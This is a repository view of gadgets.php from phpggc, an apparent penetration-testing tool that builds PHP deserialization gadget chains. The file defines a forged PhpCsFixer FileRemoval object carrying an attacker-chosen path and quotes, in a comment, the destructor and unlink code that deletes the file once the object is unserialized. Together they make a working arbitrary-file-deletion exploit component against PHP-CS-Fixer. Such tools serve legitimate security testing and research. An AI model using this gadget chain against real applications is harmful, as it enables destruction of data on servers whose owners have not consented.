Codebase list phpggc / baef4388-785f-4041-9d4d-78db19756a94/upstream/0.20221219 gadgetchains / PHPCSFixer / FD / 1 / gadgets.php
baef4388-785f-4041-9d4d-78db19756a94/upstream/0.20221219

Tree @baef4388-785f-4041-9d4d-78db19756a94/upstream/0.20221219 (Download .tar.gz)

gadgets.php @baef4388-785f-4041-9d4d-78db19756a94/upstream/0.20221219raw · history · blame

<?php

namespace PhpCsFixer
{
//https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/v2.17.3/src/FileRemoval.php
    class FileRemoval
    {

        function __construct($remote_path)
        {
            $this->files = [$remote_path => $remote_path];

        }

    }
}

/* 
    public function __destruct()
    {
        $this->clean();
    }




    public function clean()
    {
        foreach ($this->files as $file => $value) {
            $this->unlink($file);
        }
        $this->files = [];
    }

    private function unlink($path)
    {
        @unlink($path);
    }
}
*/


?>